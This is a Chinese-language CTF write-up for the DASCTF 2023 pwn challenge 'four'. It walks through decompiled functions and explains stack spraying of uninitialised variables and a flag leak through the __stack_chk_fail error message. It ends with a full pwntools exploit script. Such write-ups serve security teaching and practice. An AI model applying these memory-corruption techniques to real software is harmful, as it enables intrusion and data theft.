DASCTF Apr.2023 X SU

文章发布时间:

最后更新时间:

文章总字数:
1.9k

预计阅读时间:
9 分钟

four

这题的知识点有两个 一个是栈溅射 还有一个是利用stack_chk_fail函数输出报错信息来泄露flag

image-20230506124946816

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
v4 = 0;
init_0();
for ( i = 0; i <= 3; ++i )
{
puts("your choice : ");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
sub_4014B9();
}
else if ( v4 == 5 )
{
sub_4013E1();
}
if ( v4 > 5 || v4 < 0 )
{
puts("error");
exit(1);
}
if ( v4 <= 2 )
sub_400B94();
if ( v4 == 3 )
sub_400CA8();
if ( v4 > 3 )
sub_40101C();
}
return 0LL;
}

ida打开乍一看是堆题 不过跟进一下函数发现不是

当v4=1时进入的函数 虽然直接给了我们printf函数的真实地址 但是关闭了标准错误的输出 会给我们后面的利用造成困扰 并且这题实际上也不需要libc基址

接下来的四个函数都有作用 我们分别跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 sub_400B94()
{
const char *v0; // rax
char buf; // [rsp+Bh] [rbp-6015h] BYREF
int v3; // [rsp+Ch] [rbp-6014h] BYREF
char v4[24584]; // [rsp+10h] [rbp-6010h] BYREF
unsigned __int64 v5; // [rsp+6018h] [rbp-8h]

v5 = __readfsqword(0x28u);
v3 = 0;
puts("You can give any value, trust me, there will be no overflow");
__isoc99_scanf("%d", &v3);
if ( v3 > 24559 || v3 < 0 )
{
puts("NO OVERFLOW!!!");
exit(1);
}
puts("Actually, this function doesn't seem to be useful");
my_read(v4, v3);
puts("Really?");
read(0, &buf, 1uLL);
if ( buf == 'y' || buf == 'Y' )
{
v0 = sub_4009A7(v4);
printf("content : %s", v0);
}
return 0LL;
}

这个函数可以供我们写入非常多的字节 因此会和其他函数执行时的栈帧空间重合 如果下一个函数没有对栈帧进行清空的话 就会造成数据残留 这一点很重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
__int64 sub_400CA8()
{
int v1; // [rsp+0h] [rbp-260h] BYREF
int v2; // [rsp+4h] [rbp-25Ch] BYREF
int v3; // [rsp+8h] [rbp-258h] BYREF
int v4; // [rsp+Ch] [rbp-254h] BYREF
int i; // [rsp+10h] [rbp-250h]
int v6; // [rsp+14h] [rbp-24Ch]
int v7; // [rsp+18h] [rbp-248h]
int fd; // [rsp+1Ch] [rbp-244h]
char s1[16]; // [rsp+20h] [rbp-240h] BYREF
char dest[32]; // [rsp+30h] [rbp-230h] BYREF
char buf[256]; // [rsp+50h] [rbp-210h] BYREF
char s[264]; // [rsp+150h] [rbp-110h] BYREF
unsigned __int64 v13; // [rsp+258h] [rbp-8h]

v13 = __readfsqword(0x28u);
strcpy(s1, "output.txt");
i = 0;
v1 = 0;
v2 = 0;
v3 = 0;
v6 = 0;
printf("Enter level:");
__isoc99_scanf("%d", &v1);
printf("Enter mode:");
__isoc99_scanf("%d", &v2);
printf("Enter X:");
__isoc99_scanf("%d", &v3);
if ( v1 < 0 || v1 > 6 || v2 < 0 || v2 > 4 || v3 < 0 || v3 > 3 )
{
puts("invalid data!");
exit(1);
}
printf("Enter a string: ");
my_read(s, 250);
v7 = strlen(s);
for ( i = 0; i < v7; ++i )
{
if ( !(i % v1) || !(i % v2) )
buf[v6++] = s[i];
if ( !(i % v3) )
buf[i] = '@';
}
puts("please input filename");
__isoc99_scanf("%14s", s1);
if ( strncmp(s1, "output.txt", 0xAuLL) )
{
strncpy(s1, "output.txt", 0xCuLL);
strncpy(dest, s1, 0xCuLL);
}
fd = open(dest, 0);
if ( fd == -1 )
{
puts("open error!");
exit(1);
}
puts("Do you want to write data?");
puts("1. yes\n2.no");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
write(fd, buf, 0x100uLL);
close(fd);
puts("Successly!");
}
else
{
puts("OK!");
}
return 0LL;
}

这一个函数的前面部分依然是干扰代码 不用理就行了 关键在于后面的open

可以看到 利用strncmp进行了一个判断 如果filename为output.txt的话 就不会进入if分支 从而dest这个变量就不会被赋值

直到做到这题 我才大概理解为什么变量一般都需要声明时赋值了 就是为了防止栈帧重合导致的数据残留

如果我们利用上一个函数造成数据残留 此时dest变量如果没有被赋值 那么其就会继承这个数据

也就是说如果我们读入大量的flag字符串 那么此时dest变量就会继承flag这个字符串 相当于open了flag文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 sub_40101C()
{
char v1; // [rsp+Bh] [rbp-135h]
int fd; // [rsp+Ch] [rbp-134h]
int j; // [rsp+10h] [rbp-130h]
char *i; // [rsp+18h] [rbp-128h]
char delim[2]; // [rsp+2Ah] [rbp-116h] BYREF
int v6; // [rsp+2Ch] [rbp-114h]
char s[8]; // [rsp+30h] [rbp-110h] BYREF
__int64 v8; // [rsp+38h] [rbp-108h]
char v9[240]; // [rsp+40h] [rbp-100h] BYREF
unsigned __int64 v10; // [rsp+138h] [rbp-8h]

v10 = __readfsqword(0x28u);
*s = 0LL;
v8 = 0LL;
memset(v9, 0, sizeof(v9));
fd = 0;
v6 = 0;
v1 = 0;
strcpy(delim, ">");
puts("info>>");
__isoc99_scanf("%256s", s);
for ( i = strtok(s, delim); i; i = strtok(0LL, delim) )
{
for ( j = 0; i[j]; ++j )
{
if ( i[j] == '~' && i[j + 1] > '/' && i[j + 1] <= '9' )
fd = i[j + 1] - 48;
if ( i[j] == ':' && i[j + 1] && i[j + 2] && i[j + 3] && !i[j + 4] )
{
LOBYTE(v6) = i[j + 1];
BYTE1(v6) = i[j + 2];
HIWORD(v6) = i[j + 3];
break;
}
if ( i[j] == '@' && i[j + 2] == '*' && i[j + 1] > '`' && i[j + 1] <= 122 )
v1 = i[j + 1];
}
}
if ( fd <= 2 || fd > 10 )
{
puts("error!");
exit(1);
}
read(fd, ((SBYTE1(v6) << 8) + (v6 << 16) + SBYTE2(v6)), v1);
return 0LL;
}

这一个函数的作用在于把flag文件的内容写到bss段上的地址 为什么要多此一举呢 在我TEB绕过canary的文章有提及stack_chk_fail函数输出报错信息的依据 原理这里就不复述了

顺便真的很想吐槽一句 这里非要加一个代码审计来强行使得题目难度看起来增加 不是很理解这种操作的意义何在

利用strtok函数返回一个指针 起始地址为我们输入的s字符串中 ‘>’字符的地址

随后就是三个if判断 分别决定了文件描述符 read写入的地址 写入的字节长

唯一要注意的就是第二个if判断 由于调用的是scanf 所以如果我们想要读入地址的话 要注意不能为\x20 或者 \x00 这样的字节 会导致scanf截断 后面的字符丢失

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 sub_4013E1()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( !dword_60204C )
{
puts("This is a strange overflow. Because of canary, you must not hijack the return address");
read(0, buf, 0x200uLL);
close(1);
++dword_60204C;
}
return 0LL;
}

最后一个函数 提供了一次栈溢出的机会 此时计算一下stack_chk_fail调用的指针偏移 就可以借助报错输出flag了

image-20230506131154899

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("59.110.164.72",10001)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("./libc/libc.so.6")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

io.recvuntil("your choice : ")
io.sendline(b'2')
io.recvuntil("You can give any value, trust me, there will be no overflow")
io.sendline(str(0x5fef))
io.recvuntil("Actually, this function doesn't seem to be useful")
payload = b"./flag\x00\x00"*0xbfd
io.sendline(payload)
io.recvuntil("Really?")
io.sendline(b'n')

io.recvuntil("your choice : ")
io.sendline(b'3')
io.recvuntil("Enter level:")
io.sendline(b'1')
io.recvuntil("Enter mode:")
io.sendline(b'2')
io.recvuntil("Enter X:")
io.sendline(b'3')
io.recvuntil("Enter a string: ")
io.sendline(b'aaaa')
io.recvuntil("please input filename")
# gdb.attach(io,'b *0x400EFB')
# pause(0)
io.sendline(b'output.txt')
# pause()
io.recvuntil("Do you want to write data?")
io.sendline(b'2')

io.recvuntil("your choice : ")
io.sendline(b'4')
io.recvuntil("info>>")
payload = b'>:\x60\x21\x21'+b'>@a*'+b'>~3'
# gdb.attach(io,'b *0x4010AE')
# pause(0)
io.sendline(payload)
# pause()

io.recvuntil("your choice : ")
io.sendline(b'5')
io.recvuntil("This is a strange overflow. Because of canary, you must not hijack the return address")
payload = cyclic(0x18+0x100)+p64(0x602121)
# gdb.attach(io,'b *0x401457')
# pause(0)
io.send(payload)
# pause()
io.recv()
io.recv()